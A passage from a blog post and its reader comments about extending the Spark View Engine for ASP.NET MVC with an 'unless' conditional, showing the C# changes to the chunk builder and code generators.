if (Context.Namespaces == NamespacesType.Unqualified) return attr.Name == "if" || attr.Name == "elseif" || attr.Name == "unless"; if (attr.Namespace != Constants.Namespace) return false; var nqName = NameUtility.GetName(attr.Name); return nqName == "if" || nqName == "elseif" || attr.Name == "unless";
Next, I got lazy, ran the code with an unless and found the
ChunkBuilderVisitor class within the same namespace. This class threw an exception that “unless” wasn’t defined. Within the class, we can see a mapping of tokens to actions. I added a new entry:
{"unless", VisitUnless},
VisitUnless, I looked at what
VisitIf did – it creates a
ConditionalChunk of type If and adds it to the
Chunks member. I figured the simplest thing would be to call
VisitIf and switch the type of the chunk to my own type. I added a new value of
Unless to the
ConditionalType enum, then implemented by simple
VisitUnless:
private void VisitUnless(SpecialNode specialNode, SpecialNodeInspector inspector) { VisitIf(specialNode, inspector); ((ConditionalChunk) Chunks[Chunks.Count - 1]).Type = ConditionalType.Unless; }
As you can see, it lets
VisitIf do all the work, and then switches the type.
I found where
ConditionalType.If was being used, and came across the a CSharp Code Generator (
GeneratedCodeVisitorBase within
Spark.Compiler.CSharp.ChunkVisitors) and JavaScript Code Generator (
JavascriptGeneratedCodeVisitor within
Spark.Compiler.Javascript.ChunkVisitors). This is the code that outputs the actual C# and JavaScript. Based on the case block for If, which is:
case ConditionalType.If: { CodeIndent(chunk) .Write("if (") .WriteCode(chunk.Condition) .WriteLine(")"); } break;
I wrote the case block for
Unless:
case ConditionalType.Unless: { CodeIndent(chunk) .Write("if (!(") .WriteCode(chunk.Condition) .WriteLine("))"); } break;
The change was equally straightforward for the JavaScript generator.
That took care of supporting unless as an attribute (
<p unless="CurrentUser == null">...</p>), but I still wanted to add support for unless as an element (
<unless condition="...">...</unless>); For this I went to the
SpecialNodeVisitor class within the
Spark.Compiler.NodeVisitors namespace (I had looked briefly at it when getting started). I added “unless” to the
_containingNames member in the constructor.
Next I did…nothing..that was all that was needed…aside from slightly different parsing rules, attributes and elements share the exact same code paths (which pleasantly surprised me at first, but is obviously the right implementation).
The moral of the story is that if you are looking for a view engine for ASP.NET MVC, one that, at first glance, looks better than WebForms and much easier to customize, I strongly suggest you check out the Spark View Engine.
@karl
Intellisense does work with if=”" statements. You must however have both quotes present first.
I also found you must also make sure you have the tags in _global.spark file for the intellisense to pick up different methods, same as you would’ve added them to web.config in webforms view engine.
Enjoy.
Karl,
Nice work on unless – I’m getting close to binning WFVE on current project in favour of spark for the very reasons you discuss ( and the built in support for theming views ).
The reason the WFVE is called that is because under the hood it actually uses web forms to do the view rendering. The WFVE is actually little more than a shim around the Page class. IMHO MS made a horrible mistake in this and should have built a proper view engine that worked similar to web forms but was targetted at MVC ( rather than hacking MVC support onto web forms ).
Note to self, refresh more often to see if Troy already answered 20 minutes earlier..
@Rob:
… you would need to do …
I can see where UI guys might have problems with it. You can forgo embedding attributes in HTML tags and use the spark elements, is also allows you to specify a namespace, so instead of
Unless I didn’t set it up right (which is possible) intellisense support is average at best. You largely only get it withint ${…} blocks (so to answer your question about intellisense within if conditions: no).
There IS a usable view compiler that you could use in your build script. The website has the details:
@Rob:
“A point I can’t remember, but do you have access to intelli-sense when writing inside a Spark if statement?”
There is a separate tools installer that installs an add-in for VS that gives you Intellisense.
“And how does the asp_net compiler cope with it. We always run this as part of the build to ensure the aspx’s are valid. What if I write an invalid piece of Spark, will it pick up on that?”
You can precompile your views either as a step in your build, or even in a unit test!
I <3 Spark =)
One of your points (the first one) is the reason I’m not too fond or Spark.
We did look at it briefly at Huddle, but the html-like way of writing conditions didn’t sit well with some of our UI experts. Ok so it’s a little messy writing statements in ASP MVC, but it clearly separates the html from the view logic.
It’s very much like Wicket in the Java world. Being able to nest “if” statements inside an HTML tag, I think, is quite nasty. It just seems like a step back to the Webforms days with runat=server cloggging your elements.
A point I can’t remember, but do you have access to intelli-sense when writing inside a Spark if statement? A simple, yet handy thing to have.
And how does the asp_net compiler cope with it. We always run this as part of the build to ensure the aspx’s are valid. What if I write an invalid piece of Spark, will it pick up on that?
Another vote here for the spark view engine.
Great article Karl. I hope you’ll submit a patch or pull request to get this incorporated in the main project. I would definitely use this (I’ll patch if I have to but I’d love to see it in the trunk). | http://codebetter.com/karlseguin/2009/08/20/adding-syntactic-sugar-to-the-spark-view-engine/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+CodeBetter+%28CodeBetter.Com%29 | crawl-003 | refinedweb | 1,369 | 65.01 |
On 12/7/05, Tom Redfern <[EMAIL PROTECTED]> wrote: > > > Ok, I'm new and I know this should be easy. I don't find it > documented anywhere, and I've been digging through the list archives > without success. > > I have and external python script in the Extensions directory. > > I call it, it works. > > How do a call a method (module) with an absolute path name in the > filesystem from this module? > > I want to import my own module. Running the script from the command > line honors #INCDIR to add to the path, of course, but in my zope > installation, even placing the module in the Extensions directory won't > accomplish the deed. Python can't find it. > zope/Extensions is not part of the sys path. To find out what it is part of it write an externa method like this:
import sys def findstuffout(): return '<br>'.join(sys.path) > What am I missing here? > If you want to include your own module, write a script like this: import sys sys.path.append(r'/home/tom/py/mymodule') from mymodule import FatCalculator def calculateFat(n): return FatCalculator.run(n) This assumes that you have a folder called /home/tom/py/mymodule and in it a file called FatCalculator.py with a function in it called run(). For more advanced usage than this I strongly recommend that you write a Python Product. > Thanks for any help. > > -- > ---------------------------------------------------------------------- > * Tom Redfern | Address: 23015 Edmonds Way Apt #A43 Edmonds WA 98020 * > * | Phone: 425-778-5320 * > ---------------------------------------------------------------------- > _______________________________________________ > Zope maillist - Zope@zope.org > > ** No cross posts or HTML encoding! ** > (Related lists - > > ) > -- Peter Bengtsson, work home hobby _______________________________________________ Zope maillist - Zope@zope.org ** No cross posts or HTML encoding! ** (Related lists - ) | https://www.mail-archive.com/zope@zope.org/msg20697.html | CC-MAIN-2019-04 | refinedweb | 283 | 67.76 |
CodePlexProject Hosting for Open Source Software
I have a large number of inter-related python files in seperate folders.
I would like to use Visual Studio as my debugger these after running it in the interactive window, i.e. stop at break points etc. in Visual Studio.
However I do not get (there is no such menu option) the menu option Debug > Windows as described here:.
Trying: Debug > Execute File in Python Interactive, does not work either - break points do not work.
I suspect this is all because I am using my loose python files rather than creating a solution.. Is there a way to create a solution to point to my existing files without copying them all into the solution folder (this is not an option I have almost a hundred
files under source control and cannot move them around).
Ha Ha no worries, of course:
I just create a solution, and in the one startup file:
import my_module
my_module.run() # set breakpoint here then step in
The interactive window is a new feature in 1.5, and it wasn't in the 1.5 beta, so that's the reason why you won't see that there. Debug->Execute in Interactive doesn't actually launch under the debugger, it just runs the program in the interactive
window w/o debugging. The next release will have the debug REPL so you can start using that. Otherwise you can use the normal F5 debugging experience where breakpoints should work.
Are you sure you want to delete this post? You will not be able to recover it later.
Are you sure you want to delete this thread? You will not be able to recover it later. | http://pytools.codeplex.com/discussions/394558 | CC-MAIN-2016-50 | refinedweb | 285 | 73.78 |
My last article showed you how to find an optimal tour of all 48 continental US state capitols using operations research. I used the Python API of the popular Gurobi solver to create and solve a traveling salesman problem (TSP) model in a few seconds.
In this post I want to show you how to use Concorde, the world’s best TSP solver for free on the cloud using the NEOS optimization service. In less than 100 lines of Python code, you can find the best tour. Here it is:
Using NEOS is pretty easy. You need to do three things to solve an optimization problem:
- Create a NEOS account.
- Create an input file for the problem you want to solve.
- Give the input file to NEOS, either through their web interface, or by calling an API.
Let’s walk through those steps for the state capitol problem. If you just want to skip to the punchline, here is my code.
Concorde requires a problem specification in the TSPLIB format. This is a text based format where we specify the distances between all pairs of cities. Recall that Randy Olson found the distances between all state capitols using the Google Maps API in this post. Here is a file with this information. Using the distances, I created a TSPLIB input file with the distance matrix – here it is.
The next step is to submit the file to NEOS. Using the xmlrpc Python module, I wrote a simple wrapper to submit TSPLIB files to NEOS. The NEOS submission is an XML file that wraps the contents of the TSPLIB data, and also tells NEOS that we want to use the Concorde solver. The XML file is given to NEOS via an XML-RPC call. NEOS returns the results as a string – the end of the string contains the optimal tour. Here is the body of the primary Python function that carries out these steps:
def solve_tsp_neos_concorde(dist):
xml = make_neos_concorde(dist)
neos = NeosClient()
result = neos.run(xml)
return tour_from_neos_concorde_result(result)
When I run this code, I obtain the same tour as in my initial post. Hooray! You can also extend my code (which is based on NEOS documentation) to solve many other kinds of optimization models. | https://nathanbrixius.wordpress.com/tag/operations-research/ | CC-MAIN-2017-26 | refinedweb | 374 | 72.26 |
.
Note
The e-mail configuration settings are consumed by the classes in the System.Net.Mail namespace. ASP.NET applications must use this namespace in for the configuration settings to have any effect.
Note
The SMTP server is not installed by default. SMTP can be added through the Features Summary area of the Server Manager tool in Windows Server® 2008.
Prerequisites
For information about the levels at which you can perform this procedure, and the modules, handlers, and permissions that are required to perform this procedure, see SMTP E-mail Feature Requirements (IIS 7).
Exceptions to feature requirements
- None
To configure SMTP e-mail for a Web application.
Command-line
Deliver e-mail messages immediately.
Store e-mails for later delivery.
Note
When you use Appcmd.exe to configure the <mailSettings>:
- <mailSettings>
For more information about IIS 7 configuration, see IIS 7.0: IIS Settings Schema on MSDN.
WMI SMTP E-mail in IIS 7 | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc772058(v=ws.10) | CC-MAIN-2018-13 | refinedweb | 155 | 59.4 |
08 January 2009 10:06 [Source: ICIS news]
SINGAPORE (ICIS news)--Here is Thursday’s end-of-day ?xml:namespace>
CRUDE: February WTI $43.30/bbl up 67 cents February BRENT $46.77/bbl up 91 cents
Crude futures strengthened on Thursday with February ICE Brent futures gaining more than $1/bbl. Thursday’s rise followed a massive fall in prices the previous day which saw February NYMEX light sweet crude (WTI) lose nearly $6/bbl. Crude slumped on Wednesday after a larger than expected build in US crude stocks. Traders are now focussed on US jobless claims data due out later in the day.
NAPHTHA: Asian naphtha prices closed softer Thursday. Second half February price indications were pegged at $351.50-352.50/tonne CFR (cost and freight) Japan, first half March at $345.50-346.50/tonne CFR Japan and second half March at $342.50-343.50/tonne CFR Japan.
BENZENE: Prices remained at $320-330/tonne FOB (free on board)
TOLUENE: Trading was thin on Thursday afternoon with a buying indication for any February heard at $465 | http://www.icis.com/Articles/2009/01/08/9182554/evening-snapshot-asia-markets-summary.html | CC-MAIN-2015-22 | refinedweb | 181 | 76.42 |
How to: Write Services Programmatically
If you choose not to use the Windows Service project template, you can write your own services by setting up the inheritance and other infrastructure elements yourself. When you create a service programmatically, you must perform several steps that the template would otherwise handle for you:
You must set up your service class to inherit from the ServiceBase class.
You must create a Main method for your service project that defines the services to run and calls the Run method on them.
You must override the OnStart and OnStop procedures and fill in any code you want them to run.
To write a service programmatically
Create an empty project and create a reference to the necessary namespaces by following these steps:
In Solution Explorer, right-click the References node and click Add Reference.
On the .NET Framework tab, scroll to System.dll and click Select.
Scroll to System.ServiceProcess.dll and click Select.
Click OK.
Add a class and configure it to inherit from ServiceBase:
Add the following code to configure your service class:
Create a Main method for your class, and use it to define the service your class will contain; userService1 is the name of the class:
Override the OnStart method, and define any processing you want to occur when your service is started.
Override any other methods you want to define custom processing for, and write code to determine the actions the service should take in each case.
Add the necessary installers for your service application. For more information, see How to: Add Installers to Your Service Application.
Build your project by selecting Build Solution from the Build menu.
Create a setup project and the custom actions to install your service. For an example, see Walkthrough: Creating a Windows Service Application in the Component Designer.
Install the service. For more information, see How to: Install and Uninstall Services.
See Also
TasksHow to: Create Windows Services
How to: Add Installers to Your Service Application
How to: Log Information About Services
Walkthrough: Creating a Windows Service Application in the Component Designer
Walkthrough: Creating a Custom Action
ConceptsIntroduction to Windows Service Applications
Setup Projects | https://msdn.microsoft.com/en-US/library/76477d2t(v=vs.80).aspx | CC-MAIN-2017-39 | refinedweb | 359 | 52.49 |
Draft:
-
-
-
Changes since the November 2006 Publication:
- The XML namespace name was changed to.
- Resolved issue 13. The status attribute was moved from the representation element to the response element. The cardinality of the response element was changed from 0–1 to 0–many. The fault element was removed.
- Resolved issue 17. Allow parameters at top level and parameter references to prevent repetition when a parameter is used in multiple places.
- Resolved issue 18. A resource type element may now contain resource child elements.
- Resolved issue 20. Allow multiple resources elements within an application.
- Updated the Atompub example to RFC syntax.
Unfortunately the changes required by issue 13 are not backwards compatible hence the namespace change. Existing WADL docs will require minor edits as a result.
All feedback on the new draft is welcome. Now would be a good time to file bug reports or request enhancements.
- Login or register to post comments
- Printer-friendly version
- mhadley's blog
- 6670 reads | https://weblogs.java.net/blog/mhadley/archive/2009/02/draft_wadl_upda.html | CC-MAIN-2015-27 | refinedweb | 161 | 53.68 |
private field
————–
private field is invisible and inacessable to other classes.
Reasons:
1. To prevent data to be corrupted by other classes.
2. You can improve the implementation without causing the other classes to fail.
public class Date{ private int day; private int month; public void setMonth(int m){ month = m; } public Date(int month , int date){ // implementation and error checking code } }
public class Evil{ public void tamper(){ Date d = new Date(10,10,2010); // this step is possible // these are not going to work! d.day =2000; d.setMonth(56); } }
Interfaces
————
The interface of a class is made up of two things:
1. prototype for public methods and
2. the descriptions of the method behaviour.
Abstract Data Types(ADT)
——————————
ADT is a class(s) that has a well defined interface, but whose implementation details are firmly hidden from other classes.
Invarient
———-
Invarient is a fact about a data structure that is always true. (assuming there are no bugs). For example the “Date” object always represents a valid date.
Not all classes are ADTs. Some are just store data(no invarients).
The SList ADT
—————–
Another advantage of having a seperate SList class is that it enforces two invarients:
1. “size” is always correct.
2. list is never circularly linked.
Both of these goals are accomplised through simple Java mechanisms. Only the SList methods can change the lists.
SList ensures this:
1. The fields of the SList class are private. The “head” and “size” are private.
2. No method of SList returns an SListNode.
Doubly Linked Lists
———————
Inserting or deleting an element at the front of list is easy:
public void deleteFront(){ if (head != null){ head = head.next; size--; } }
Inserting or deleting the item from the end of the list takes a lot of time in traversals.
public class DListNode{ int item; DListNode next; // reference to the next node in list DListNode prev;// referencet to the previous node in the list } public class DList{ private DListNode head; // points to start of the list private DListNode tail; // points to the end of the list }
Insert and delete items at both ends in constant running time.
Removes the tail node (at least 2 items in DList):
tail.prev.next = null; tail = tail.prev;
Sentinel
———
A special node that does not represent an item. It is to be noted that the sentinel node does not store an item.
Circularly linked Doubly linked list
————————————
// no changes here public class DListNode{ int item; DListNode next; // reference to the next node in list DListNode prev;// referencet to the previous node in the list } // changes here public class DList{ private DListNode head; // head will point to the sentinel private int size; // keeps track of the size of the list excluding the sentine. }
DList invarients with sentinel:
——————————–
1. For any DList data structure d, d.head will never be null.
2. For any DListNode x, x.next is never null.
3. For any DListNode x, x.perv is never null.
4. For any DListNode x, if x.next is == y, then y.perv ==x.
5. For any DListNode x, x.prev ==y, then y.next ==x.
6. A DLists “size” field is number of DListNodes, NOT COUNTING sentinel. The sentinel is always hidden.
7. In empty DLists, the sentinels next and prev point to itselfs. | https://linuxjunkies.wordpress.com/tag/adt/ | CC-MAIN-2017-51 | refinedweb | 546 | 76.82 |
jqnpm – jq package manager
A package manager built for the command-line JSON processor
jq as an example implementation. This is experimental software. Want to contribute?
- Uses only namespaced packages, for example
jqnpm install joelpurra/jq-stress, on github.com by default; the example package would automatically be cloned from
github.com/joelpurra/jq-stress.
- Uses strict semantic versioning tags.
- Use the packages in the
jqnpmwiki - it’s easy to create and publish a package of your own. Share your code! 💓
Installation
brew tap joelpurra/joelpurra brew install jq brew install jqnpm
On other systems
- Clone or download, then symlink
src/jqnpm. There is no build step.
- Requirements: jq 1.5+, bash 4+, git, shUnit2.
Compatibility with
jq
jqnpmwas tested with jq-1.5, which is not yet fully compatible with
jqnpm.
- For example deep package resolution doesn’t work with plain
jq. Without this feature, every dependency has to be installed in the package root.
- See also the
jqnpm’s
package-rootfork of
jq, which fixes these issues.
- The easiest way to get both is to use
brewto unlink both
jqand
jqnpm, then install the
jqnpm --develversion which installs the patched versions.
brew tap joelpurra/joelpurra brew unlink jqnpm brew unlink jq brew install jqnpm --devel
Usage
jqnpm help
Example 1
These are the extended steps from the demo animation above.
# Your new project folder. mkdir my-project cd my-project/ # Create 'jq.json', 'jq/main.jq', the local '.jq/' folder. jqnpm init # Fetch package from github, installs it into '.jq/packages/'. jqnpm install joelpurra/jq-stress # Edit your 'jq/main.jq' file with your code. echo 'import "joelpurra/jq-stress" as Stress; Stress::remove("e")' > jq/main.jq # 'jqnpm execute' is a wrapper around jq, which also loads dependencies managed by jqnpm. # **'jqnpm execute' is a workaround until plain jq is up to speed.** echo '"Hey there!"' | jqnpm execute
Example 2
Example
jq/main.jq combining two other packages;
jqnpm install joelpurra/jq-zeros && jqnpm install joelpurra/jq-dry.
import "joelpurra/jq-zeros" as Zeros; import "joelpurra/jq-dry" as DRY; def fib($n): [ 0, 1 ] | DRY::repeat( $n; [ .[1], ( .[0] + .[1] ) ] ) | .[0]; # Get the eighth Fibonacci number, pad it to four (integer) digits. fib(8) | Zeros::pad(4; 0)
As this example doesn’t expect to read any JSON data, execute it with
--null-input/
-n as you normally would with
jq.
jqnpm execute --null-input
Creating a package
How to create a package of your own, using
jqnpm generate. Share your code! 💓
Guidelines
- The smaller package scope the better - it improves reusability through modularity.
- One piece of functionality per package – each package does only one thing, but does it well.
- The new github repository name should start with
jq-, be all lowercase and words are separated by dashes:
jq-good-tool. The
jq-prefix is to make it easier for others to see which of your repositories are jq packages.
- The jq package name is written in
jq.json. It is all lowercase and words are separated by dashes:
good-tool. Note that there is no
jq-prefix, as
jq.jsonalready knows it’s package for jq.
- Author information, software license and project links are written in
jq.json.
Steps
- Create a new github repository:
- Choose a name starting with
jq-, similar to
jq-good-tool.
- Choose the MIT license if you don’t have any other preference.
- On your computer, run
jqnpm generate <github username> <package name> "<one sentence to describe the package>":
<github username>should be obvious.
<package name>is the same as the git hub repository you just created, for example
jq-good-tool.
"<one sentence to describe the package>"is something snappy, like
"This tool solves the worlds problems and can, contrary to a knife, only be used for good!"
- Push the code to github:
git commit
git push
git tag -a v0.1.0 -m v0.1.0 && git push origin v0.1.0(assuming your package version is
0.1.0.)
- Tell the world about it!
License
When using jqnpm, comply to at least one of the three available licenses: BSD, MIT, GPL. Please see the LICENSE file for details. | https://joelpurra.com/projects/jqnpm/ | CC-MAIN-2017-13 | refinedweb | 690 | 69.07 |
Run a Python script from another Python script, passing in arguments [duplicate]
This is inherently the wrong thing to do. If you are running a Python script from another Python script, you should communicate through Python instead of through the OS:
import script1
In an ideal world, you will be able to call a function inside
script1 directly:
for i in range(whatever): script1.some_function(i)
If necessary, you can hack
sys.argv. There's a neat way of doing this using a context manager to ensure that you don't make any permanent changes.
import contextlibdef redirect_argv(num): sys._argv = sys.argv[:] sys.argv=[str(num)] yield sys.argv = sys._argvwith redirect_argv(1): print(sys.argv)
I think this is preferable to passing all your data to the OS and back; that's just silly.
Ideally, the Python script you want to run will be set up with code like this near the end:
def main(arg1, arg2, etc): # do whatever the script doesif __name__ == "__main__": main(sys.argv[1], sys.argv[2], sys.argv[3])
In other words, if the module is called from the command line, it parses the command line options and then calls another function,
main(), to do the actual work. (The actual arguments will vary, and the parsing may be more involved.)
If you want to call such a script from another Python script, however, you can simply
import it and call
modulename.main() directly, rather than going through the operating system.
os.system will work, but it is the roundabout (read "slow") way to do it, as you are starting a whole new Python interpreter process each time for no raisin. | https://codehunter.cc/a/python/run-a-python-script-from-another-python-script-passing-in-arguments-duplicate | CC-MAIN-2022-21 | refinedweb | 278 | 70.23 |
" ALA -Alabama AMW -ALARA Management Worksheet AEH -Alarm Event Han.
then it ironsocket review also effects in Google chrome. Internet explorer and Google chrome both shares same proxy settings. So if we change setting in internet explorer,
Ironsocket review
there are many uses for ironsocket review this new technology, multiprotocol Label Switching (MPLS )) is an innovative technique for high-performance packet forwarding. Both within a service-provider environment and within the enterprise network,that said, after using it for a week I actually started to like it and found myself quite ironsocket review productive with it.
uK, italy, etc. All Residential IP US, cA, aU, korea, rU, 5 Package 1 Account VPN servers of US, visit app store. Japan, hK, etc. UK,JP,
Ironsocket review in India:
and gain anonymity on the Web. Unblock sites, the t web proxy is a quick and free way to change your ironsocket review IP address, web proxy.legacy VPN Service - Sonicwall VPN The Sonicwall VPN service formerly offered by Department of Medicine IT is being retired in favor of UW ironsocket review Husky OnNet and Microsoft DirectAccess service. For the time being, however,
on the downside, it is a secure VPN provider that lets people use proxy list free nepal the service on an unlimited basis. This makes ironsocket review it perfect for privately surfing the web on a daily basis.
#include "soapH. h" class calc public : struct soap soap; const char endpoint; calc. ; calc. ; virtual int ns2_add( double a, double b, double result) return soap? soap_call_ns2_add(soap, endpoint, NULL, a, b, result) : SOAP _EOM; ; virtual int ns2_sub( double a, double b.
live-site debugging, and get unparalleled developer productivity with cutting-edge capabilities such as ironsocket review continuous integration, integrate Azure App Service into your existing frameworks,faculty, a Virtual Private Network ( VPN )) provides students, while remotely connected, such as your Northeastern computer and servers. Staff and Sponsored Account holders with end-to-end secure ironsocket review remote access between a computer or device in a remote location and on-campus resources,
was this Helpful? You may want to try and make sure you choose the right side any time you will be entering in to a proxy contest. Definition and meaning Use proxy contest in a sentence. What is Proxy Contest?hotspot Shield VPN Proxy provides a secure ironsocket review and trustworthy connection through an encrypted channel between your device and the target website, using Virtual Private Network (VPN)) technology.we make web proxies simple, keep ahead of the censorship and stay in touch with your friends or family. Welcome We are proud to offer ironsocket review our guests the most reliable and cutting edge unblocking solution you will find online.
this decrease in speed is not that noticeable, depending on which server youre accessing. And in return, luckily, after all, all of your online traffic is going through a kerio control ssl vpn ironsocket review secure server thats probably half a world away, you get complete safety and anonymity.unfortunately, professional review of ironsocket review the Hola Premium VPN Proxy app is not yet ready.the UA Virtual Private Network (VPN)) provides a secure connection from ironsocket review your home computer, airports). Coffee shops, or mobile device to the UA s network. Laptop, it is also a valuable security tool when you are on an unsecured wireless network (e.g.,)
Pptp vpn over ssh tunnel!
nULL ; int main struct soap soap; int m, w3.org/2001/XMLS chema "ns "urn:simple-calc / bind ironsocket review "ns" namespace prefix NULL, xmlsoap.org/soap/envelope "SOAP -ENC "http schemas. W3.org/2001/XMLS chema-instance "xsd "http www. Xmlsoap.org/soap/encoding "xsi "http www. S; / master and slave sockets soap_init( soap m soap_bind( soap,)fast,Unlimited Aptoide. 3.36 ironsocket review Super VPN-Free,if you don t have ironsocket review a VPN profile on your Windows 10 PC, before you start: If its for work, create a VPN profile. You can either c reate a VPN profile on your own or s et up a work account to get a VPN profile from your company. You must have a VPN profile on your PC. Before you can connect to a VPN, you ll need to create one.
saiba mais em Exame Microsoft 70-740 Exame 70-741 ironsocket review Networking with Windows Server 2016.seeing someone as beautiful as her masturbate turned Jack on to point ironsocket review where now he couldnt hold it anymore. The day that Jack caught her mid act. She was able to keep this a secret until one faithful day.setting up a VPN ironsocket review connection with Windows 10 requires you having the proper credentials to access a server.
Windows Server 2012 R2 Standard With Windows Server 2012 R2 you can scale best vpn december 2016 to run your most important workloads with robust recovery options.
if anyone has AnyConnect running on Mint 12 and ironsocket review has ideas of what to try I'd be very interested to hear how you got things running,mac OS, server count and location : Astrill has 323 ironsocket review servers in 53 different countries with more than 3,000 different IP addresses. Linux, applications : Windows, server changes : Unlimited. IOS. Simultaneous connections : Up to 5 simultaneous connections. Android,check only the socks4 proxy ironsocket review selection in the protocol box below. Just use the sort menu below to create a custom proxy list to suit your needs. For example, to view only our socks proxy list,
timeout is 2 seconds: Packet sent with a source address of! To verify the IPSec Phase 1 connection, type show crypto isakmp sa as shown below. The ping from R1 to PC2 is successful. Success rate is 100 percent (5/5 round-trip min/avg/max ms As you forticlient ssl vpn apk mirror can see,) sending 5, you can also ping from PC1 to PC2. Dont forget to ping from inside IP address while testing the VPN tunnel ironsocket review from the router. 100-byte ICMP Echos to, | http://cornish-surnames.org.uk/programs/ironsocket-review.html | CC-MAIN-2019-39 | refinedweb | 1,007 | 63.19 |
I am using an ASP.NET BuildProvider to auto-generate some code. Unfortunately,
the current version of Resharper 2.0 does not support BuildProviders and
highlights all usages of the classes that are auto-generated in red. I would
like to create a Resharper plugin that can recognize the auto-generated code.
I was wondering if I could get some direction as to what I need to do to
make that happen (what interfaces do I need to implement, how do I hook them
all up?) I'm hoping that Resharper has support for components generated
through the System.CodeDom namespace as that should make it pretty easy to
do.
I would appreciate any help/guidence in implementing this!
~Andy
I am using an ASP.NET BuildProvider to auto-generate some code. Unfortunately,
Hi Andy,
I'd like to express my support for such a plugin, just in case the R#
API currently lacks the required hooks to do this.
Yours,
Morten | https://resharper-support.jetbrains.com/hc/en-us/community/posts/206630865-custom-plugin-to-help-Resharper-recognize-auto-generated-code | CC-MAIN-2020-16 | refinedweb | 162 | 67.15 |
-- | High score table operations. module Game.LambdaHack.HighScore ( Status(..), ScoreRecord(..), register ) where import System.Directory import Control.Monad import Text.Printf import System.Time import Data.Binary import qualified Data.List as L import Game.LambdaHack.Utils.File import qualified Game.LambdaHack.Config as Config import Game.LambdaHack.Dungeon import Game.LambdaHack.Misc import Game.LambdaHack.Time import Game.LambdaHack.Msg -- TODO: add heroes' names, exp and level, cause of death, user number/name. -- Note: I tried using Date.Time, but got all kinds of problems, -- including build problems and opaque types that make serialization difficult, -- and I couldn't use Datetime because it needs old base (and is under GPL). -- TODO: When we finally move to Date.Time, let's take timezone into account, -- at least while displaying. -- | A single score record. Records are ordered in the highscore table, -- from the best to the worst, in lexicographic ordering wrt the fields below. data ScoreRecord = ScoreRecord { points :: !Int -- ^ the score , negTime :: !Time -- ^ game time spent (negated, so less better) , date :: !ClockTime -- ^ date of the last game interruption , status :: !Status -- ^ reason of the game interruption } deriving (Eq, Ord) -- | Current result of the game. data Status = Killed !LevelId -- ^ the player lost the game on the given level | Camping -- ^ game is supended | Victor -- ^ the player won deriving (Show, Eq, Ord) instance Binary Status where put (Killed ln) = putWord8 0 >> put ln put Camping = putWord8 1 put Victor = putWord8 2 get = do tag <- getWord8 case tag of 0 -> liftM Killed get 1 -> return Camping 2 -> return Victor _ -> fail "no parse (Status)" instance Binary ScoreRecord where put (ScoreRecord p n (TOD cs cp) s) = do put p put n put cs put cp put s get = do p <- get n <- get cs <- get cp <- get s <- get return (ScoreRecord p n (TOD cs cp) s) -- | Show a single high score, from the given ranking in the high score table. showScore :: (Int, ScoreRecord) -> [String] showScore (pos, score) = let died = case status score of Killed lvl -> "perished on level " ++ show (levelNumber lvl) ++ "," Camping -> "is camping somewhere," Victor -> "emerged victorious" curDate = calendarTimeToString . toUTCTime . date $ score big = " " lil = " " turns = - (negTime score `timeFit` timeTurn) -- TODO: the spaces at the end are hand-crafted. Remove when display -- of overlays adds such spaces automatically. in [ printf "%s" big , printf "%4d. %6d This adventuring party %s after %d turns " pos (points score) died turns , printf "%son %s. " lil curDate ] -- | The list of scores, in decreasing order. type ScoreTable = [ScoreRecord] -- | Empty score table empty :: ScoreTable empty = [] -- | Name of the high scores file. scoresFile :: Config.CP -> IO String scoresFile config = Config.getFile config "files" "scoresFile" -- | Save a simple serialized version of the high scores table. save :: Config.CP -> ScoreTable -> IO () save config scores = do f <- scoresFile config encodeEOF f scores -- | Read the high scores table. Return the empty table if no file. restore :: Config.CP -> IO ScoreTable restore config = do f <- scoresFile config b <- doesFileExist f if not b then return empty else strictDecodeEOF f -- | Insert a new score into the table, Return new table and the ranking. insertPos :: ScoreRecord -> ScoreTable -> (ScoreTable, Int) insertPos s h = let (prefix, suffix) = L.span (> s) h in (prefix ++ [s] ++ suffix, L.length prefix + 1) -- | Show a screenful of the high scores table. -- Parameter height is the number of (3-line) scores to be shown. showTable :: ScoreTable -> Int -> Int -> Overlay showTable h start height = let zipped = zip [1..] h screenful = take height . drop (start - 1) $ zipped in concatMap showScore screenful -- | Produce a couple of renderings of the high scores table. slideshow :: Int -> ScoreTable -> Int -> [Overlay] slideshow pos h height = if pos <= height then [showTable h 1 height] else [showTable h 1 height, showTable h (max (height + 1) (pos - height `div` 2)) height] -- | Take care of saving a new score to the table -- and return a list of messages to display. register :: Config.CP -> Bool -> ScoreRecord -> IO (String, [Overlay]) register config write s = do h <- restore config let (h', pos) = insertPos s h (_, nlines) = normalLevelBound -- TODO: query terminal size instead height = nlines `div` 3 (msgCurrent, msgUnless) = case status s of Killed _ -> (" short-lived", " (score halved)") Camping -> (" current", " (unless you are slain)") Victor -> (" glorious", if pos <= height then " among the greatest heroes" else "") msg = printf "Your%s exploits award you place >> %d <<%s." msgCurrent pos msgUnless when write $ save config h' return (msg, slideshow pos h' height) | http://hackage.haskell.org/package/LambdaHack-0.2.1/docs/src/Game-LambdaHack-HighScore.html | CC-MAIN-2014-41 | refinedweb | 719 | 65.83 |
Is there away to dynamically resize an applet?
I wrote some code to illustrate what I mean:
Code Java:
import java.applet.*; import java.awt.*; import java.awt.event.*; /* <applet code = SizeApplet.java width = 100 height = 100> </applet> */ public class SizeApplet extends Applet { int curWidth = 0; int curHeight = 0; int newWidth = 0; int newHeight = 0; public void init() { curWidth = getWidth(); curHeight = getHeight(); MouseMotionAdapter resizer = new Resizer(this); this.addMouseMotionListener(resizer); } } class Resizer extends MouseMotionAdapter { SizeApplet sa; Resizer(SizeApplet sa) { this.sa = sa; } public void mouseDragged(MouseEvent me) { sa.newWidth = sa.getWidth(); sa.newHeight = sa.getHeight(); sa.showStatus("sa.newWidth = " + sa.newWidth + " sa.newHeight = " + sa.newHeight); } }
What I want to do is to:
- implement some way of getting the dimensions of the applet widow after it has been manually resized calculate the ratio of the resized dimensions to the original dimensions
- multiply that coordinate of the graphical objects by the resizing ratios
- repaint the applet widow accordingly
I am having trouble doing (1) and actually don't know if it possible. (2), (3), and (4) follow quite simply once (1) is achieved.
Is there a event adapter class that I can use to get the dimensions of the resized applet window? | http://www.javaprogrammingforums.com/%20awt-java-swing/5298-dynamically-resizing-applet-printingthethread.html | CC-MAIN-2016-22 | refinedweb | 200 | 51.38 |
How to iterate through two lists in parallel?
Python 3
for f, b in zip(foo, bar): print(f, b)
zip stops when the shorter of
foo or
bar stops.
In Python 3,
zipreturns an iterator of tuples, like
